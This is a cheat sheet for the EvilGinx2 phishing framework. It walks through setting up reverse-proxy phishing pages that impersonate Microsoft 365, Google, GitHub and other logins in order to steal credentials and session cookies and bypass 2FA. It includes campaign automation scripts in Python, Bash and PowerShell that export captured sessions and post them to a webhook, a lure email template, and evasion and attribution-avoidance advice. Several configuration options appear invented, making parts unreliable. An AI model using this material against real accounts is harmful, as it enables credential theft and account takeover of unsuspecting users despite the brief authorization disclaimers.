Skip to content

EvilGinx2 Phishing Framework Cheat Sheet

Overview

EvilGinx2 is a man-in-the-middle attack framework designed for advanced phishing campaigns. It acts as a reverse proxy between the target website and the victim, allowing attackers to capture credentials, session cookies, and bypass two-factor authentication (2FA). EvilGinx2 is particularly effective against modern authentication mechanisms and provides real-time phishing capabilities.

⚠️ Warning: This tool is intended for authorized penetration testing and red team exercises only. Ensure you have proper authorization before using against any target.

Installation

Prerequisites

bash
# Install Go 1.19+ and Git
sudo apt update
sudo apt install -y golang-go git

# Verify Go installation
go version

# Set Go environment variables
export GOPATH=$HOME/go
export PATH=$PATH:$GOPATH/bin

Installation from GitHub

bash
# Clone EvilGinx2 repository
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2

# Build EvilGinx2
make

# Install to system path
sudo make install

# Or run directly
./bin/evilginx

Docker Installation

bash
# Clone repository
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2

# Build Docker image
docker build -t evilginx2 .

# Run EvilGinx2 container
docker run -it --rm -p 443:443 -p 80:80 -p 53:53/udp evilginx2

# Run with persistent data
docker run -it --rm -p 443:443 -p 80:80 -p 53:53/udp -v $(pwd)/data:/app/data evilginx2

Manual Installation

bash
# Download latest release
wget https://github.com/kgretzky/evilginx2/releases/latest/download/evilginx-linux-amd64.tar.gz

# Extract and install
tar -xzf evilginx-linux-amd64.tar.gz
sudo mv evilginx /usr/local/bin/
sudo chmod +x /usr/local/bin/evilginx

Basic Configuration

Initial Setup

bash
# Start EvilGinx2
sudo evilginx

# Set domain for phishing
config domain evil.com

# Set external IP address
config ip 192.168.1.100

# Enable developer mode (for testing)
config dev true

# Set redirect URL for successful phishing
config redirect_url https://www.google.com

SSL Certificate Configuration

bash
# Generate Let's Encrypt certificates (requires valid domain)
config domain phishing.example.com
config ip 1.2.3.4
certs

# Use custom certificates
config cert_path /path/to/cert.pem
config key_path /path/to/key.pem

# Self-signed certificates (for testing)
config self_sign true

DNS Configuration

bash
# Configure DNS settings
config dns 8.8.8.8

# Enable DNS server
config dns_enabled true

# Set DNS port
config dns_port 53

# Add custom DNS records
dns A phishing.example.com 192.168.1.100
dns A login.phishing.example.com 192.168.1.100

Phishlets Management

Built-in Phishlets

bash
# List available phishlets
phishlets

# Show phishlet details
phishlets show [phishlet_name]

# Enable phishlet
phishlets enable [phishlet_name]

# Disable phishlet
phishlets disable [phishlet_name]

# Get phishlet hostname
phishlets hostname [phishlet_name] [hostname]
bash
# Microsoft Office 365
phishlets enable o365
phishlets hostname o365 login.microsoftonline.evil.com

# Google
phishlets enable google
phishlets hostname google accounts.google.evil.com

# GitHub
phishlets enable github
phishlets hostname github github.evil.com

# LinkedIn
phishlets enable linkedin
phishlets hostname linkedin www.linkedin.evil.com

# Amazon
phishlets enable amazon
phishlets hostname amazon signin.aws.amazon.evil.com

Custom Phishlet Creation

yaml
# Example phishlet configuration (custom.yaml)
name: 'custom'
author: '@attacker'
min_ver: '2.3.0'
proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'target.com', session: true, is_landing: true}
sub_filters:
  - {triggers_on: 'login.target.com', orig_sub: 'login', domain: 'target.com', search: 'target.com', replace: 'login.target.evil.com', mimes: ['text/html', 'application/json']}
auth_tokens:
  - domain: '.target.com'
    keys: ['session_token', 'auth_cookie']
auth_urls:
  - '/login'
  - '/authenticate'
credentials:
  username:
    key: 'username'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
login:
  domain: 'target.com'
  path: '/login'

Loading Custom Phishlets

bash
# Copy phishlet to phishlets directory
cp custom.yaml ~/.evilginx/phishlets/

# Reload phishlets
phishlets

# Enable custom phishlet
phishlets enable custom
phishlets hostname custom login.target.evil.com

Lures and Campaign Management

Creating Lures

bash
# Create new lure
lures create [phishlet_name]

# List all lures
lures

# Get lure details
lures get-url [lure_id]

# Delete lure
lures delete [lure_id]

# Edit lure
lures edit [lure_id] redirect_url https://legitimate-site.com

Lure Configuration Options

bash
# Set redirect URL
lures edit [lure_id] redirect_url https://www.google.com

# Set user agent filter
lures edit [lure_id] ua_filter "Mozilla/5.0*"

# Set IP filter
lures edit [lure_id] ip_filter "192.168.1.0/24"

# Set custom parameters
lures edit [lure_id] params "utm_source=email&utm_campaign=test"

# Enable/disable lure
lures edit [lure_id] enabled true
lures edit [lure_id] enabled false

Advanced Lure Features

bash
# Set custom landing page
lures edit [lure_id] landing_path "/custom-login"

# Set session timeout
lures edit [lure_id] session_timeout 3600

# Set maximum visits
lures edit [lure_id] max_visits 100

# Set geographic restrictions
lures edit [lure_id] geo_filter "US,CA,GB"

# Set time-based restrictions
lures edit [lure_id] time_filter "09:00-17:00"

Session Management

Viewing Sessions

bash
# List all captured sessions
sessions

# Show session details
sessions [session_id]

# Export session data
sessions export [session_id] /path/to/export.json

# Delete session
sessions delete [session_id]

# Clear all sessions
sessions clear

Session Data Analysis

bash
# View captured credentials
sessions [session_id] creds

# View captured cookies
sessions [session_id] cookies

# View session timeline
sessions [session_id] timeline

# Export cookies for browser import
sessions [session_id] export-cookies /path/to/cookies.txt

Real-time Session Monitoring

bash
# Enable real-time notifications
config notifications true

# Set notification webhook
config webhook_url https://your-server.com/webhook

# Monitor sessions in real-time
tail -f ~/.evilginx/logs/evilginx.log

# Custom monitoring script
watch -n 5 'evilginx -c "sessions" | tail -10'

Advanced Features

Traffic Manipulation

bash
# Custom JavaScript injection
config js_inject true
config js_file /path/to/custom.js

# Custom CSS injection
config css_inject true
config css_file /path/to/custom.css

# Content replacement rules
config replace_rules /path/to/rules.json

# Header manipulation
config custom_headers /path/to/headers.json

Evasion Techniques

bash
# Enable anti-detection features
config anti_detect true

# Randomize response timing
config timing_random true

# Enable CAPTCHA bypass
config captcha_bypass true

# Custom error pages
config error_pages /path/to/error_pages/

# Geofencing
config geo_block "CN,RU,KP"

# User-Agent filtering
config ua_block "bot,crawler,scanner"

Integration Features

bash
# Webhook notifications
config webhook_enabled true
config webhook_url https://your-server.com/notifications
config webhook_secret your_secret_key

# Slack integration
config slack_webhook https://hooks.slack.com/services/YOUR/SLACK/WEBHOOK

# Email notifications
config smtp_server smtp.gmail.com:587
config smtp_username your_email@gmail.com
config smtp_password your_app_password
config notification_email admin@your-domain.com

Automation and Scripting

Python Automation Script

python
#!/usr/bin/env python3
# EvilGinx2 automation script

import subprocess
import json
import time
import requests
from datetime import datetime

class EvilGinxAutomation:
    def __init__(self, domain, ip_address):
        self.domain = domain
        self.ip_address = ip_address
        self.webhook_url = None
        
    def setup_evilginx(self):
        """Initial EvilGinx2 setup"""
        commands = [
            f"config domain {self.domain}",
            f"config ip {self.ip_address}",
            "config dev false",
            "config redirect_url https://www.google.com",
            "certs"
        ]
        
        for cmd in commands:
            self.execute_command(cmd)
            time.sleep(2)
    
    def execute_command(self, command):
        """Execute EvilGinx2 command"""
        try:
            result = subprocess.run([
                "evilginx", "-c", command
            ], capture_output=True, text=True, timeout=30)
            return result.stdout
        except subprocess.TimeoutExpired:
            return "Command timed out"
        except Exception as e:
            return f"Error: {str(e)}"
    
    def setup_phishlet(self, phishlet_name, hostname):
        """Setup and enable phishlet"""
        commands = [
            f"phishlets enable {phishlet_name}",
            f"phishlets hostname {phishlet_name} {hostname}"
        ]
        
        for cmd in commands:
            print(f"[+] Executing: {cmd}")
            result = self.execute_command(cmd)
            time.sleep(1)
        
        return True
    
    def create_lure(self, phishlet_name, redirect_url=None):
        """Create phishing lure"""
        cmd = f"lures create {phishlet_name}"
        result = self.execute_command(cmd)
        
        # Extract lure ID from result
        lure_id = self.extract_lure_id(result)
        
        if redirect_url and lure_id:
            self.execute_command(f"lures edit {lure_id} redirect_url {redirect_url}")
        
        return lure_id
    
    def extract_lure_id(self, output):
        """Extract lure ID from command output"""
        # Parse output to extract lure ID
        # Implementation depends on EvilGinx2 output format
        lines = output.split('\n')
        for line in lines:
            if 'lure' in line.lower() and 'id' in line.lower():
                # Extract ID using regex or string parsing
                import re
                match = re.search(r'id:\s*(\d+)', line)
                if match:
                    return match.group(1)
        return None
    
    def get_lure_url(self, lure_id):
        """Get phishing URL for lure"""
        result = self.execute_command(f"lures get-url {lure_id}")
        # Parse URL from result
        lines = result.split('\n')
        for line in lines:
            if 'http' in line:
                return line.strip()
        return None
    
    def monitor_sessions(self):
        """Monitor captured sessions"""
        while True:
            result = self.execute_command("sessions")
            sessions = self.parse_sessions(result)
            
            for session in sessions:
                if session.get('new', False):
                    self.handle_new_session(session)
            
            time.sleep(10)
    
    def parse_sessions(self, output):
        """Parse sessions from command output"""
        # Implementation depends on EvilGinx2 output format
        sessions = []
        lines = output.split('\n')
        
        for line in lines:
            if 'session' in line.lower():
                # Parse session data
                session_data = {
                    'id': 'extracted_id',
                    'timestamp': datetime.now(),
                    'new': True  # Logic to determine if session is new
                }
                sessions.append(session_data)
        
        return sessions
    
    def handle_new_session(self, session):
        """Handle new captured session"""
        print(f"[+] New session captured: {session['id']}")
        
        # Get session details
        session_details = self.execute_command(f"sessions {session['id']}")
        
        # Send notification
        if self.webhook_url:
            self.send_webhook_notification(session, session_details)
        
        # Export session data
        self.export_session(session['id'])
    
    def send_webhook_notification(self, session, details):
        """Send webhook notification for new session"""
        payload = {
            'session_id': session['id'],
            'timestamp': session['timestamp'].isoformat(),
            'details': details
        }
        
        try:
            response = requests.post(self.webhook_url, json=payload, timeout=10)
            if response.status_code == 200:
                print("[+] Webhook notification sent")
            else:
                print(f"[-] Webhook failed: {response.status_code}")
        except Exception as e:
            print(f"[-] Webhook error: {str(e)}")
    
    def export_session(self, session_id):
        """Export session data"""
        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        export_path = f"/tmp/session_{session_id}_{timestamp}.json"
        
        self.execute_command(f"sessions export {session_id} {export_path}")
        print(f"[+] Session exported to: {export_path}")
    
    def setup_campaign(self, campaign_config):
        """Setup complete phishing campaign"""
        print("[+] Setting up EvilGinx2 campaign...")
        
        # Initial setup
        self.setup_evilginx()
        
        # Setup phishlets
        for phishlet in campaign_config.get('phishlets', []):
            self.setup_phishlet(phishlet['name'], phishlet['hostname'])
            
            # Create lures
            for lure_config in phishlet.get('lures', []):
                lure_id = self.create_lure(phishlet['name'], lure_config.get('redirect_url'))
                if lure_id:
                    lure_url = self.get_lure_url(lure_id)
                    print(f"[+] Lure created: {lure_url}")
        
        print("[+] Campaign setup complete")

# Usage example
def main():
    # Campaign configuration
    campaign_config = {
        'phishlets': [
            {
                'name': 'o365',
                'hostname': 'login.microsoftonline.evil.com',
                'lures': [
                    {'redirect_url': 'https://office.com'},
                    {'redirect_url': 'https://outlook.com'}
                ]
            },
            {
                'name': 'google',
                'hostname': 'accounts.google.evil.com',
                'lures': [
                    {'redirect_url': 'https://gmail.com'}
                ]
            }
        ]
    }
    
    # Initialize automation
    automation = EvilGinxAutomation("evil.com", "192.168.1.100")
    automation.webhook_url = "https://your-server.com/webhook"
    
    # Setup campaign
    automation.setup_campaign(campaign_config)
    
    # Start monitoring
    automation.monitor_sessions()

if __name__ == "__main__":
    main()

Bash Automation Script

bash
#!/bin/bash
# EvilGinx2 bash automation script

DOMAIN="evil.com"
IP_ADDRESS="192.168.1.100"
PHISHLET="o365"
HOSTNAME="login.microsoftonline.evil.com"

# Function to execute EvilGinx2 commands
execute_evilginx_command() {
    local command="$1"
    echo "[+] Executing: $command"
    evilginx -c "$command"
    sleep 2
}

# Initial setup
echo "[+] Setting up EvilGinx2..."
execute_evilginx_command "config domain $DOMAIN"
execute_evilginx_command "config ip $IP_ADDRESS"
execute_evilginx_command "config dev false"
execute_evilginx_command "config redirect_url https://www.google.com"
execute_evilginx_command "certs"

# Setup phishlet
echo "[+] Setting up phishlet: $PHISHLET"
execute_evilginx_command "phishlets enable $PHISHLET"
execute_evilginx_command "phishlets hostname $PHISHLET $HOSTNAME"

# Create lure
echo "[+] Creating lure..."
LURE_OUTPUT=$(evilginx -c "lures create $PHISHLET")
LURE_ID=$(echo "$LURE_OUTPUT" | grep -oP 'id:\s*\K\d+')

if [ -n "$LURE_ID" ]; then
    echo "[+] Lure created with ID: $LURE_ID"
    
    # Configure lure
    execute_evilginx_command "lures edit $LURE_ID redirect_url https://office.com"
    
    # Get lure URL
    LURE_URL=$(evilginx -c "lures get-url $LURE_ID" | grep -oP 'https?://[^\s]+')
    echo "[+] Phishing URL: $LURE_URL"
else
    echo "[-] Failed to create lure"
    exit 1
fi

# Monitor sessions
echo "[+] Starting session monitoring..."
while true; do
    SESSIONS=$(evilginx -c "sessions" | grep -c "session")
    if [ "$SESSIONS" -gt 0 ]; then
        echo "[+] $SESSIONS session(s) captured"
        
        # Export latest session
        LATEST_SESSION=$(evilginx -c "sessions" | tail -1 | awk '{print $1}')
        if [ -n "$LATEST_SESSION" ]; then
            TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
            evilginx -c "sessions export $LATEST_SESSION /tmp/session_${LATEST_SESSION}_${TIMESTAMP}.json"
            echo "[+] Session exported: /tmp/session_${LATEST_SESSION}_${TIMESTAMP}.json"
        fi
    fi
    
    sleep 30
done

PowerShell Automation

powershell
# EvilGinx2 PowerShell automation script

function Invoke-EvilGinxAutomation {
    param(
        [string]$Domain = "evil.com",
        [string]$IPAddress = "192.168.1.100",
        [string]$Phishlet = "o365",
        [string]$Hostname = "login.microsoftonline.evil.com"
    )
    
    function Execute-EvilGinxCommand {
        param([string]$Command)
        
        Write-Host "[+] Executing: $Command"
        try {
            $result = & evilginx -c $Command 2>&1
            Start-Sleep -Seconds 2
            return $result
        }
        catch {
            Write-Warning "Failed to execute command: $Command"
            return $null
        }
    }
    
    # Initial setup
    Write-Host "[+] Setting up EvilGinx2..."
    Execute-EvilGinxCommand "config domain $Domain"
    Execute-EvilGinxCommand "config ip $IPAddress"
    Execute-EvilGinxCommand "config dev false"
    Execute-EvilGinxCommand "config redirect_url https://www.google.com"
    Execute-EvilGinxCommand "certs"
    
    # Setup phishlet
    Write-Host "[+] Setting up phishlet: $Phishlet"
    Execute-EvilGinxCommand "phishlets enable $Phishlet"
    Execute-EvilGinxCommand "phishlets hostname $Phishlet $Hostname"
    
    # Create lure
    Write-Host "[+] Creating lure..."
    $lureOutput = Execute-EvilGinxCommand "lures create $Phishlet"
    
    if ($lureOutput -match 'id:\s*(\d+)') {
        $lureId = $matches[1]
        Write-Host "[+] Lure created with ID: $lureId"
        
        # Configure lure
        Execute-EvilGinxCommand "lures edit $lureId redirect_url https://office.com"
        
        # Get lure URL
        $lureUrlOutput = Execute-EvilGinxCommand "lures get-url $lureId"
        if ($lureUrlOutput -match '(https?://[^\s]+)') {
            $lureUrl = $matches[1]
            Write-Host "[+] Phishing URL: $lureUrl"
        }
    }
    else {
        Write-Error "Failed to create lure"
        return
    }
    
    # Monitor sessions
    Write-Host "[+] Starting session monitoring..."
    while ($true) {
        $sessionsOutput = Execute-EvilGinxCommand "sessions"
        $sessionCount = ($sessionsOutput | Select-String "session").Count
        
        if ($sessionCount -gt 0) {
            Write-Host "[+] $sessionCount session(s) captured"
            
            # Export latest session
            $sessions = $sessionsOutput -split "`n" | Where-Object { $_ -match "session" }
            if ($sessions.Count -gt 0) {
                $latestSession = ($sessions[-1] -split '\s+')[0]
                $timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
                $exportPath = "/tmp/session_${latestSession}_${timestamp}.json"
                
                Execute-EvilGinxCommand "sessions export $latestSession $exportPath"
                Write-Host "[+] Session exported: $exportPath"
            }
        }
        
        Start-Sleep -Seconds 30
    }
}

# Execute automation
Invoke-EvilGinxAutomation -Domain "evil.com" -IPAddress "192.168.1.100"

Integration with Other Tools

Metasploit Integration

bash
# Use EvilGinx2 for credential harvesting, pivot to Metasploit
# After capturing credentials, use them in Metasploit modules

# Example: Use captured O365 credentials
use auxiliary/scanner/http/office365_login
set USERNAME captured_username@company.com
set PASSWORD captured_password
set RHOSTS company-mail.outlook.com
run

# Use captured session cookies in browser automation
use auxiliary/scanner/http/cookie_replay
set COOKIE "captured_session_cookie"
set RHOSTS target.com
run

Social Engineering Toolkit Integration

bash
# Combine with SET for comprehensive campaigns
# Use EvilGinx2 for credential harvesting
# Use SET for payload delivery

# Generate SET payload
setoolkit
# Select Social-Engineering Attacks
# Select Website Attack Vectors
# Select Credential Harvester Attack Method
# Use custom EvilGinx2 URL as redirect

GoPhish Integration

bash
# Use GoPhish for email delivery
# Use EvilGinx2 for credential harvesting

# GoPhish campaign configuration
{
  "name": "O365 Campaign",
  "template": {
    "name": "O365 Login Required",
    "subject": "Action Required: Verify Your Account",
    "html": "<a href='{{.URL}}'>Click here to verify</a>"
  },
  "url": "https://login.microsoftonline.evil.com/lure_url"
}

Operational Security

Domain and Infrastructure

bash
# Use legitimate-looking domains
# Register domains with privacy protection
# Use cloud hosting providers
# Implement CDN for traffic distribution

# Example domain registration
# Register: microsoftonline-security.com
# Setup: login.microsoftonline-security.com
# SSL: Let's Encrypt or commercial certificate

Traffic Obfuscation

bash
# Enable anti-detection features
config anti_detect true

# Use legitimate SSL certificates
config cert_path /path/to/legitimate/cert.pem

# Implement geographic restrictions
config geo_block "high_risk_countries"

# Use realistic timing delays
config timing_random true
config min_delay 500
config max_delay 2000

Log Management

bash
# Configure secure logging
config log_file /var/log/evilginx/access.log
config log_level info

# Implement log rotation
logrotate /etc/logrotate.d/evilginx

# Secure log storage
# Encrypt logs at rest
# Use remote log aggregation
# Implement log retention policies

Attribution Prevention

bash
# Use VPS with cryptocurrency payment
# Implement proxy chains
# Use Tor for administrative access
# Regularly rotate infrastructure

# Example infrastructure rotation
# Week 1: VPS Provider A, Domain Set 1
# Week 2: VPS Provider B, Domain Set 2
# Week 3: VPS Provider C, Domain Set 3

Troubleshooting

Common Issues

bash
# Certificate issues
# Check domain DNS configuration
# Verify Let's Encrypt rate limits
# Test certificate validity

# DNS resolution problems
# Check DNS server configuration
# Verify domain propagation
# Test with different DNS resolvers

# Phishlet not working
# Check phishlet syntax
# Verify target website changes
# Test with different browsers

Debug Mode

bash
# Enable debug logging
config debug true
config log_level debug

# Test phishlet functionality
phishlets test [phishlet_name]

# Check network connectivity
curl -I https://your-phishing-domain.com

# Verify SSL configuration
openssl s_client -connect your-domain.com:443

Performance Optimization

bash
# Optimize for high traffic
config max_connections 1000
config timeout 30

# Enable caching
config cache_enabled true
config cache_size 100MB

# Monitor resource usage
htop
iotop
netstat -tulpn

Best Practices

Campaign Planning

  1. Target research: Understand target organization and users
  2. Domain selection: Choose convincing domain names
  3. Infrastructure setup: Use secure and anonymous hosting
  4. Testing: Thoroughly test phishing pages before deployment
  5. Monitoring: Implement real-time session monitoring
bash
# Authorized testing only
# Obtain proper written authorization
# Follow responsible disclosure
# Protect captured data
# Document all activities

# Example authorization checklist
# [ ] Written penetration testing agreement
# [ ] Scope clearly defined
# [ ] Data handling procedures established
# [ ] Incident response plan in place
# [ ] Legal review completed

Data Protection

bash
# Encrypt captured data
# Implement secure data storage
# Use secure communication channels
# Regular data purging
# Access control and auditing

# Example data encryption
gpg --cipher-algo AES256 --compress-algo 1 --symmetric --output session_data.gpg session_data.json

Resources


This cheat sheet provides a comprehensive reference for using EvilGinx2 phishing framework. Always ensure you have proper authorization before conducting phishing simulations or penetration testing.